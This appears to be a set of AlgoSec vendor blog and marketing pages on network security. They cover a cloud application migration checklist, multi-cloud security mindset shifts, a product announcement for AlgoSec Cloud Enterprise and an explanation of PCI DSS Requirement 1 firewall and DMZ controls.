the data points that cloud migration specialists recommend capturing include: Duration highlights the value of employee labor-hours as they perform tasks throughout the process. Operational duration metrics can tell you how much time project managers spend planning the migration process, or whether one phase is taking much longer than another, and why. Disruption metrics can help identify user experience issues that become obstacles to onboarding and full adoption. Collecting data about the availability of critical services and the number of service tickets generated throughout the process can help you gauge the overall success of the initiative from the user’s perspective. Cost includes more than data transfer rates. Application migration initiatives also require creating dependency mappings, changing applications to make them cloud-native, and significant administrative costs. Up to 50% of your migration’s costs pay for labor , and you’ll want to keep close tabs on those costs as the process goes on. Infrastructure metrics like CPU usage, memory usage, network latency, and load balancing are best captured both before and after the project takes place. This will let you understand and communicate the value of the project in its entirety using straightforward comparisons. Application performance metrics like availability figures, error rates, time-outs and throughput will help you calculate the value of the migration process as a whole. This is another post-cloud migration metric that can provide useful before-and-after data. You will also want to establish a series of cloud service-level agreements (SLAs) that ensure a predictable minimum level of service is maintained. This is an important guarantee of the reliability and availability of the cloud-hosted resources you expect to use on a daily basis. Step 5: Mapping Dependencies Mapping dependencies completely and accurately is critical to the success of any migration project. If you don’t have all the elements in your software ecosystem identified correctly, you won’t be able to guarantee that your applications will work in the new environment. Application dependency mapping will help you pinpoint which resources your apps need and allow you to make those resources available. You’ll need to discover and assess every workload your organization undertakes and map out the resources and services it relies on. This process can be automated, which will help large-scale enterprises create accurate maps of complex interdependent processes. In most cases, the mapping process will reveal clusters of applications and services that need to be migrated together. You will have to identify the appropriate windows of opportunity for performing these migrations without disrupting the workloads they process. This often means managing data transfer and database migration tasks and carrying them out in a carefully orchestrated sequence. You may also discover connectivity and VPN requirements that need to be addressed early on. For example, you may need to establish protocols for private access and delegate responsibility for managing connections to someone on your team. Project stakeholders may have additional connectivity needs, like VPN functionality for securing remote connections. These should be reflected in the application dependency mapping process. Multi-cloud compatibility is another issue that will demand your attention at this stage. If your organization plans on using multiple cloud providers and configuring them to run workloads specific to their platform, you will need to make sure that the results of these processes are communicated and stored in compatible formats. Step 6: Selecting a Cloud Provider Once you fully understand the scope and requirements of your application migration project, you can begin comparing cloud providers. Amazon, Microsoft, and Google make up the majority of all public cloud deployments, and the vast majority of organizations start their search with one of these three. Amazon AW S has the largest market share, thanks to starting its cloud infrastructure business several years before its major competitors did. Amazon’s head start makes finding specialist talent easier, since more potential candidates will have familiarity with AWS than with Azure or Google Cloud. Many different vendors offer services through AWS, making it a good choice for cloud deployments that rely on multiple services and third-party subscriptions. Microsoft Azure has a longer history serving enterprise customers, even though its cloud computing division is smaller and younger than Amazon’s. Azure offers a relatively easy transition path that helps enterprise organizations migrate to the cloud without adding a large number of additional vendors to the process. This can help streamline complex cloud deployments, but also increases your reliance on Microsoft as your primary vendor. Google Cloud is the third runner-up in terms of market share. It continues to invest in cloud technologies and is responsible for a few major innovations in the space – like the Kubernetes container orchestration system. Google integrates well with third-party applications and provides a robust set of APIs for high-impact processes like translation and speech recognition. Your organization’s needs will dictate which of the major cloud providers offers the best value. Each provider has a different pricing model, which will impact how your organization arrives at a cost-effective solution. Cloud pricing varies based on customer specifications, usage, and SLAs, which means no single provider is necessarily “the cheapest” or “the most expensive” – it depends on the context. Additional cost considerations you’ll want to take into account include scalability and uptime guarantees. As your organization grows, you will need to expand its cloud infrastructure to accommodate more resource-intensive tasks. This will impact the cost of your cloud subscription in the future. Similarly, your vendor’s uptime guarantee can be a strong indicator of how invested it is in your success. Given all vendors work on the shared responsibility model, it may be prudent to consider an enterprise data backup solution for peace of mind. Step 7: Application Refactoring If you choose to invest time and resources into refactoring applications for the cloud, you’ll need to consider how this impacts the overall project. Modifying existing software to take advantage of cloud-based technologies can dramatically improve the efficiency of your tech stack, but it will involve significant risk and up-front costs. Some of the advantages of refactoring include: Reduced long-term costs. Developers refactor apps with a specific context in mind. The refactored app can be configured to accommodate the resource requirements of the new environment in a very specific manner. This boosts the overall return of investing in application refactoring in the long term and makes the deployment more scalable overall. Greater adaptability when requirements change . If your organization frequently adapts to changing business requirements, refactored applications may provide a flexible platform for accommodating unexpected changes. This makes refactoring attractive for businesses in highly regulated industries, or in scenarios with heightened uncertainty. Improved application resilience . Your cloud-native applications will be decoupled from their original infrastructure. This means that they can take full advantage of the benefits that cloud-hosted technology offers. Features like low-cost redundancy, high-availability, and security automation are much easier to implement with cloud-native apps. Some of the drawbacks you should be aware of include: Vendor lock-in risks . As your apps become cloud-native, they will naturally draw on cloud features that enhance their capabilities. They will end up tightly coupled to the cloud platform you use. You may reach a point where withdrawing those apps and migrating them to a different provider becomes infeasible, or impossible. Time and talent requirements . This process takes a great deal of time and specialist expertise. If your organization doesn’t have ample amounts of both, the process may end up taking too long and costing too much to be feasible. Errors and vulnerabilities . Refactoring involves making major changes to the way applications work. If errors work their way in at this stage, it can deeply impact the usability and security of the workload itself. Organizations can use cloud-based templates to address some of these risks, but it will take comprehensive visibility into how applications interact with cloud security policies to close every gap. Step 8: Data Migration There are many factors to take into consideration when moving data from legacy applications to cloud-native apps. Some of the things you’ll need to plan for include: Selecting the appropriate data transfer method . This depends on how much time you have available for completing the migration, and how well you plan for potential disruptions during the process. If you are moving significant amounts of data through the public internet, sidelining your regular internet connection may be unwise. Offline transfer doesn’t come with this risk, but it will include additional costs. Ensuring data center compatibility. Whether transferring data online or offline, compatibility issues can lead to complex problems and expensive downtime if not properly addressed. Your migration strategy should include a data migration testing strategy that ensures all of your data is properly formatted and ready to use the moment it is introduced to the new environment. Utilizing migration tools for smooth data transfer . The three major cloud providers all offer cloud migration tools with multiple tiers and services. You may need to use these tools to guarantee a smooth transfer experience, or rely on a third-party partner for this step in the process. Step 9: Configuring the Cloud Environment By the time your data arrives in its new environment, you will need to have virtual machines and resources set up to seamlessly take over your application workloads and processes. At the same time, you’ll need a comprehensive set of security policies enforced by firewall rules that address the risks unique to cloud-hosted infrastructure. As with many other steps in this checklist, you’ll want to carefully assess, plan, and test your virtual machine deployments before deploying them in a live production environment. Gather information about your source and target environment and document the workloads you wish to migrate. Set up a test environment you can use to make sure your new apps function as expected before clearing them for live production. Similarly, you may need to configure and change firewall rules frequently during the migration process. Make sure that your new deployments are secured with reliable, well-documented security policies. If you skip the documentation phase of building your firewall policy, you run the risk of introducing security vulnerabilities into the cloud environment, and it will be very difficult for you to identify and address them later on. You will also need to configure and deploy network interfaces that dictate where and when your cloud environment will interact with other networks, both inside and outside your organization. This is your chance to implement secure network segmentation that protects mission-critical assets from advanced and persistent cyberattacks. This is also the best time to implement disaster recovery mechanisms that you can rely on to provide business continuity even if mission-critical assets and apps experience unexpected downtime. Step 10: Automating Workflows Once your data and apps are fully deployed on secure cloud-hosted infrastructure, you can begin taking advantage of the suite of automation features your cloud provider offers. Depending on your choice of migration strategy, you may be able to automate repetitive tasks, streamline post-migration processes, or enhance the productivity of entire departments using sophisticated automation tools. In most cases, automating routine tasks will be your first priority. These automations are among the simplest to configure because they largely involve high-volume, low-impact tasks. Ideally, these tasks are also isolated from mission-critical decision-making processes. If you established a robust set of key performance indicators earlier on in the migration project, you can also automate post-migration processes that involve capturing and reporting these data points. Your apps will need to continue ingesting and processing data, making data validation another prime candidate for workflow automation. Cloud-native apps can ingest data from a wide range of sources, but they often need some form of validation and normalization to produce predictable results. Ongoing testing and refinement will help you make the most of your migration project moving forward. How AlgoSec Enables Secure Application Migration Visibility and Di scovery : AlgoSec provide s comprehensive visibility into your existing on-premises network environment. It automatically discovers all network devices, applications, and their dependencies. This visibility is crucial when planning a secure migration, ensuring no critical elements get overlooked in the process. Application Dependency Mapping : AlgoSec’s application dependency mapping capabilities allow you to understand how different applications and services interact within your network. This knowledge is vital during migration to avoid disrupting critical dependencies. Risk Assessment : AlgoSec assesses the security and compliance risks associated with your migration plan. It identifies potential vulnerabilities, misconfigurations, and compliance violations that could impact the security of the migrated applications. Security Policy Analysis : Before migrating, AlgoSec helps you analyze your existing security policies and rules. It ensures that security policies are consistent and effective in the new cloud or data center environment. Misconfigurations and unnecessary rules can be eliminated, reducing the attack surface. Automated Rule Optimiz ation : AlgoSec automates the o ptimization of security rules. It identifies redundant rules, suggests rule consolidations, and ensures that only necessary traffic is allowed, helping you maintain a secure environment during migration. Change Management : During the migration process, changes to security policies and firewall rules are often necessary. AlgoSec facilitates change management by providing a streamlined process for requesting, reviewing, and implementing rule changes. This ensures that security remains intact throughout the migration. Compliance and Governance : AlgoSec helps maintain compliance with industry regulations and security best practices. It generates compliance reports, ensures rule consistency, and enforces security policies, even in the new cloud or data center environment. Continuous Monitoring and Auditing : Post-migration, AlgoSec continues to monitor and audit your security policies and network traffic. It alerts you to any anomalies or security breaches, ensuring the ongoing security of your migrated applications. Integration with Cloud Platforms : AlgoSec integrates seamlessly with various cloud platforms such as AWS , Microsoft Azure , and Google Cloud . This ensures that security policies are consistently applied in both on-premises and cloud environments, enabling a secure hybrid or multi-cloud setup. Operational Efficiency : AlgoSec’s automation capabilities reduce manual tasks, improving operational efficiency. This is essential during the migration process, where time is often of the essence. Real-time Visibility and Control : AlgoSec provides real-time visibility and control over your security policies, allowing you to adapt quickly to changing migration requirements and security threats. Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

Learn best practices to secure your cloud environment and deliver applications securely Webinars State of Ransomware: Caught between perception and reality Ransomware continues to be a major problem—and the problem is only getting worse. An exclusive ExtraHop 2022 survey conducted with over 500 security and IT decision makers provided some sobering responses: 85% of those surveyed reported suffering at least one ransomware attack while an alarming 74% have experienced multiple attacks. Yet most IT decision makers (77%) are confident in their ability to prevent or mitigate all cybersecurity threats, including ransomware. In this webinar, we take an in-depth look into the implications of this alarming trend and provide a turnkey strategy that organizations can implement today to safeguard their most critical data stored in their business applications and increase their level of ransomware preparedness. Join us for: * In-depth analysis of infamous ransomware attacks * Ways to identify and remediate vulnerabilities at the application level * A practical application centric approach that can support your pre-existing security measures * Mitigation measures to consider at the onset of your next ransomware attack * Ransomware future trends predictions January 24, 2023 Eric Jeffery Regional Sales Engineer Relevant resources Reducing risk of ransomware attacks - back to basics Keep Reading Fighting Ransomware - CTO Roundtable Insights Keep Reading Ransomware Attack: Best practices to help organizations proactively prevent, contain and Keep Reading Choose a better way to manage your network Choose a better way to manage your network Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

Level Up Your Security Game: Time for a Mindset Reset! Hey everyone, and welcome! If you're involved in keeping your organization safe online these days, you're in the right place. For years, security felt like building a super strong castle with thick walls and a deep moat, hoping the bad guys would just stay outside. But let's be real, in our multi-cloud world, that castle is starting to look a little... outdated. Think about it: your apps and data aren't neatly tucked away in one place... 5 mindset shifts security teams must adopt to master multi-cloud security Iris Stein 2 min read Iris Stein Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 4/10/25 Published Level Up Your Security Game: Time for a Mindset Reset! Hey everyone, and welcome! If you're involved in keeping your organization safe online these days, you're in the right place. For years, security felt like building a super strong castle with thick walls and a deep moat, hoping the bad guys would just stay outside. But let's be real, in our multi-cloud world, that castle is starting to look a little... outdated. Think about it: your apps and data aren't neatly tucked away in one place anymore. They're bouncing around on AWS, Azure, GCP, all sorts of platforms – practically everywhere! Trying to handle that with old-school security is like trying to catch smoke with a fishing net. Not gonna work, right? That's why we're chatting today. Gal Yosef, Head of Product Management in the U.S., gets it. He's helped us dive into some crucial mindset shifts – basically, new ways of thinking – that are essential for navigating the craziness of modern security. We gotta ditch the old ways and get ready to be more agile, work together better, and ultimately, be way more effective. Mindset Shift #1: From "Our Stuff is Safe Inside This Box" to "Trust Nothing, Verify Everything" Remember the good old days? We built a perimeter – firewalls, VPNs – thinking that everything inside was safe and sound (danger!). Security was all about guarding that edge. The Problem: Well, guess what? That world is gone! Multi-cloud environments have totally shattered that perimeter. Trying to just secure the network edge leaves your real treasures – your applications, users, and data – vulnerable as they roam across different clouds. It's like locking the front door but leaving all the windows wide open! The New Way: Distributed Trust. Security needs to follow your assets, wherever they go. Instead of just focusing on the infrastructure (the pipes and wires), we need to embrace Zero-Trust principles . Think of it like this: never assume anyone or anything is trustworthy, even if they're "inside." We need identity-based, adaptive security policies that constantly validate trust, rather than just assuming it based on location. Security becomes built into applications and workloads, not just bolted onto the network. Think of it this way: Instead of one big, guarded gate, you have individual, smart locks on every valuable asset. You're constantly checking who's accessing what, no matter where they are. It's like having a personal bodyguard for each of your important things, always making sure they have the right ID. Mindset Shift #2: From "My Team Handles Network Security, Their Team Handles Cloud Security" to "Let's All Be Security Buddies!" Ever feel like your network security team speaks a different language than your cloud security team? You're not alone! Traditionally, these have been separate worlds, with network teams focused on firewalls and cloud teams on security groups. The Problem: These separate silos are a recipe for confusion and fragmented security policies. Attackers? They love this! It's like having cracks in your armor. They aren't always going to bash down the front door; they're often slipping through the gaps created by this lack of communication. The New Way: Cross-functional collaboration. We need to tear down those walls! Network and cloud security teams need to work together, speaking a shared security language. Unified visibility and consistent policies across all your environments are key. Think of it like a superhero team – everyone has their own skills, but they work together seamlessly to fight the bad guys. Regular communication, shared tools, and a common understanding of the risks are crucial. Mindset Shift #3: From "Reacting When Something Breaks" to "Always Watching and Fixing Things Before They Do" Remember the old days of waiting for an alert to pop up saying something was wrong? That's like waiting for your car to break down before you even think about checking the oil. Not the smartest move, right? The Problem: In the fast-paced world of the cloud, waiting for things to go wrong is a recipe for disaster. Attacks can happen super quickly, and by the time you react, the damage might already be done. Plus, manually checking everything all the time? Forget about it – it's just not scalable when you've got stuff spread across multiple clouds. The New Way: Continuous & Automated Enforcement. We need to shift to a mindset of constant monitoring and automated security actions. Think of it like having a security system that's always on, always learning, and can automatically respond to threats in real-time. This means using tools and processes that continuously check for vulnerabilities, enforce security policies automatically, and even predict potential problems before they happen. It's like having a proactive security guard who not only watches for trouble but can also automatically lock doors and sound alarms the moment something looks fishy. Mindset Shift #4: From "Locking Everything Down Tight" to "Finding the Right Balance with Flexible Rules" We used to think the best security was the strictest security – lock everything down, say "no" to everything. But let's be honest, that can make it super hard for people to actually do their jobs! It's like putting so many locks on a door that nobody can actually get through it. The Problem: Overly restrictive security can stifle innovation and slow things down. Developers can get frustrated, and the business can't move as quickly as it needs to. Plus, sometimes those super strict rules can even create workarounds that actually make things less secure in the long run. The New Way: Flexible Guardrails. We need to move towards security that provides clear boundaries (the "guardrails") but also allows for agility and flexibility. Think of it like setting clear traffic laws – you know what's allowed and what's not, but you can still drive where you need to go. This means defining security policies that are adaptable to different cloud environments and business needs. It's about enabling secure innovation, not blocking it. We need to find that sweet spot where security empowers the business instead of hindering it. Mindset Shift #5: From "Security is a Cost Center" to "Security is a Business Enabler" Sometimes, security gets seen as just an expense, something we have to do but doesn't really add value. It's like thinking of insurance as just another bill. The Problem: When security is viewed as just a cost, it often gets underfunded or seen as a roadblock. This can lead to cutting corners and ultimately increasing risk. It's like trying to save money by neglecting the brakes on your car – it might seem cheaper in the short term, but it can have disastrous consequences later. The New Way: Security as a Business Enabler. We need to flip this thinking! Strong security isn't just about preventing bad things from happening; it's about building trust with customers, enabling new business opportunities, and ensuring the long-term resilience of the organization. Think of it like a strong foundation for a building – without it, you can't build anything lasting. By building security into our processes and products from the start, we can actually accelerate innovation and gain a competitive advantage. It's about showing our customers that we take their data seriously and that they can trust us. Wrapping Up: Moving to a multi-cloud world is exciting, but it definitely throws some curveballs at how we think about security. By adopting these five new mindsets, we can ditch the outdated castle mentality and build a more agile, collaborative, and ultimately more secure future for our organizations. It's not about being perfect overnight, but about starting to shift our thinking and embracing these new approaches. So, let's level up our security game together! Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

SaaS SLA Download PDF Download PDF Add a Title Add a Title Add a Title Schedule time with one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

Is it getting harder and harder to keep track of all your cloud assets? You're not alone. In today's dynamic world of hybrid and... Cloud Security Introducing AlgoSec Cloud Enterprise: Your Comprehensive App-First Cloud Security Solution Iris Stein 2 min read Iris Stein Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 1/27/25 Published Is it getting harder and harder to keep track of all your cloud assets? You're not alone. In today's dynamic world of hybrid and multi-cloud environments, maintaining clear visibility of your IT infrastructure has never been more complex. 82% of organizations report that lack of visibility is a major factor in cloud security breaches. Traditional tools often fall short, leaving potential security vulnerabilities exposed and your business at risk. But there's good news! Introducing AlgoSec Cloud Enterprise (ACE) , a game-changer for managing and securing your on-premises and cloud networks. ACE provides the visibility, automation, and control you need to protect your business, no matter where your applications reside. What is AlgoSec Cloud Enterprise? AlgoSec Cloud Enterprise (ACE) is a comprehensive application-centric security solution built for the modern cloud enterprise. It empowers organizations to gain complete visibility, enforce consistent policies, and accelerate application delivery across cloud and on-premises environments. AlgoSec Cloud Enterprise (ACE) is the latest addition to AlgoSec's Horizon Platform, a comprehensive suite of security solutions designed to protect your applications and data. By integrating ACE into the Horizon Platform, AlgoSec offers a unified approach to securing your entire IT infrastructure, from on-premises to multi-cloud environments. For existing AlgoSec customers: ACE seamlessly integrates with your current AlgoSec deployments, extending your security posture to encompass the dynamic world of cloud and containers. For new AlgoSec customers: ACE provides a unified solution to manage security across your entire cloud estate, simplifying operations and reducing risk. Key Features and Capabilities ACE is packed with powerful features to help you take control of your application security: Deep application visibility: ACE discovers and maps all your applications and their components, providing a comprehensive view of your application landscape. You gain insights into application dependencies, vulnerabilities, and risks, enabling you to identify and address security gaps proactively. Unified security policy management: Define and enforce consistent security policies across all your environments, from the cloud to on-premises. This ensures uniform protection for all your applications and simplifies security management. Automated security and compliance: Automate critical security tasks, such as vulnerability assessment, compliance monitoring, and security change management. This reduces the risk of human error and frees up your security team to focus on more strategic initiatives. Organizations using automation in their security operations report a 25% reduction in security incidents . Streamlined change management: Accelerate application delivery with automated security workflows. ACE simplifies change management processes, ensuring that security keeps pace with the speed of your business. Maintain a full audit trail of all changes for complete compliance and accountability. Detect and prevent risks across the supply chain and CI/CD pipelines: Identify vulnerabilities in applications and block malicious containerized workloads from compromising business-critical production environments. Addressing Customer Pain Points ACE is designed to solve the real-world challenges faced by security teams today: Reduce application risk: Proactively identify and mitigate vulnerabilities and security threats to your applications. Accelerate application delivery: Streamline security processes and automate change management to speed up deployments. Ensure application compliance: Meet regulatory requirements and industry standards with automated compliance monitoring and reporting. Gain complete visibility: Understand your application landscape and identify potential security risks. Simplify application security management: Manage security policies and controls from a single, unified pane of glass. Prevent vulnerabilities from moving to production Ready to take your application security to the next level? Visit the AlgoSec Cloud Enterprise product page to learn more. Download our datasheet, request a personalized demo, or sign up for a free trial to experience the power of ACE for yourself. We're confident that ACE will revolutionize the way you secure your applications in the cloud. Contact us today to get started! Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

So we’ve made it to the last part of our blog series on PCI 3.0 Requirement 1. The first two posts covered Requirement 1.1... Auditing and Compliance Avoid the Traps: What You Need to Know About PCI Requirement 1 (Part 3) Matthew Pascucci 2 min read Matthew Pascucci Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 9/9/14 Published So we’ve made it to the last part of our blog series on PCI 3.0 Requirement 1. The first two posts covered Requirement 1.1 (appropriate firewall and router configurations) and 1.2 (restrict connections between untrusted networks and any system components in the cardholder data environment) and in this final post we’ll discuss key requirements of Requirements 1.3 -1.5 and I’ll again give you my insight to help you understand the implications of these requirements and how to comply with them. Implement a DMZ to limit inbound traffic to only system components that provide authorized publicly accessible services, protocols, and ports (1.3.1.): The DMZ is used to publish services such as HTTP and HTTPS to the internet and allow external entities to access these services. But the key point here is that you don’t need to open every port on the DMZ. This requirement verifies that a company has a DMZ implemented and that inbound activity is limited to only the required protocols and ports. Limit inbound Internet traffic to IP addresses within the DMZ (1.3.2): This is a similar requirement to 1.3.1, however instead of looking for protocols, the requirement focuses on the IPs that the protocol is able to access. In this case, just because you might need HTTP open to a web server, doesn’t mean that all systems should have external port 80 open to inbound traffic. Do not allow any direct connections inbound or outbound for traffic between the Internet and the cardholder data environment (1.3.3): This requirement verifies that there isn’t unfiltered access, either going into the CDE or leaving it, which means that all traffic that traverses this network must pass through a firewall. All unwanted traffic should be blocked and all allowed traffic should be permitted based on an explicit source/destination/protocol. There should never be a time that someone can enter or leave the CDE without first being inspected by a firewall of some type. Implement anti-spoofing measures to detect and block forged source IP addresses from entering the network (1.3.4): In an attempt to bypass your firewall, cyber attackers will try and spoof packets using the internal IP range of your network to make it look like the request originated internally. Enabling the IP spoofing feature on your firewall will help prevent these types of attacks. Do not allow unauthorized outbound traffic from the cardholder data environment to the Internet (1.3.5): Similar to 1.3.3, this requirement assumes that you don’t have direct outbound access to the internet without a firewall. However in the event that a system has filtered egress access to the internet the QSA will want to understand why this access is needed, and whether there are controls in place to ensure that sensitive data cannot be transmitted outbound. Implement stateful inspection, also known as dynamic packet filtering (1.3.6): If you’re running a modern firewall this feature is most likely already configured by default. With stateful inspection, the firewall maintains a state table which includes all the connections that traverse the firewall, and it knows if there’s a valid response from the current connection. It is used to stop attackers from trying to trick a firewall into initiating a request that didn’t previously exist. Place system components that store cardholder data (such as a database) in an internal network zone, segregated from the DMZ and other untrusted networks (1.3.7): Attackers are looking for your card holder database. Therefore, it shouldn’t be stored within the DMZ. The DMZ should be considered an untrusted network and segregated from the rest of the network. By having the database on the internal network provides another layer of protection against unwanted access. [Also see my suggestions for designing and securing you DMZ in my previous blog series: The Ideal Network Security Perimeter Design: Examining the DMZ Do not disclose private IP addresses and routing information to unauthorized parties (1.3.8): There should be methods in place to prevent your internal IP address scheme from being leaked outside your company. Attackers are looking for any information on how to breach your network, and giving them your internal address scheme is just one less thing they need to learn. You can stop this by using NAT, proxy servers, etc. to limit what can be seen from the outside. Install personal firewall software on any mobile and/or employee-owned devices that connect to the Internet when outside the network (for example, laptops used by employees), and which are also used to access the network (1.4): Mobile devices, such as laptops, that can connect to both the internal network and externally, should have a personal firewall configured with rules that prevent malicious software or attackers from communicating with the device. These firewalls need to be configured so that their rulebase can never be stopped or changed by anyone other than an administrator. Ensure that security policies and operational procedures for managing firewalls are documented, in use, and known to all affected parties (1.5): There needs to be a unified policy regarding firewall maintenance including how maintenance procedures are performed, who has access to the firewall and when maintenance is scheduled. Well, that’s it! Hopefully, my posts have given you a better insight into what is actually required in Requirement 1 and what you need to do to comply with it. Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call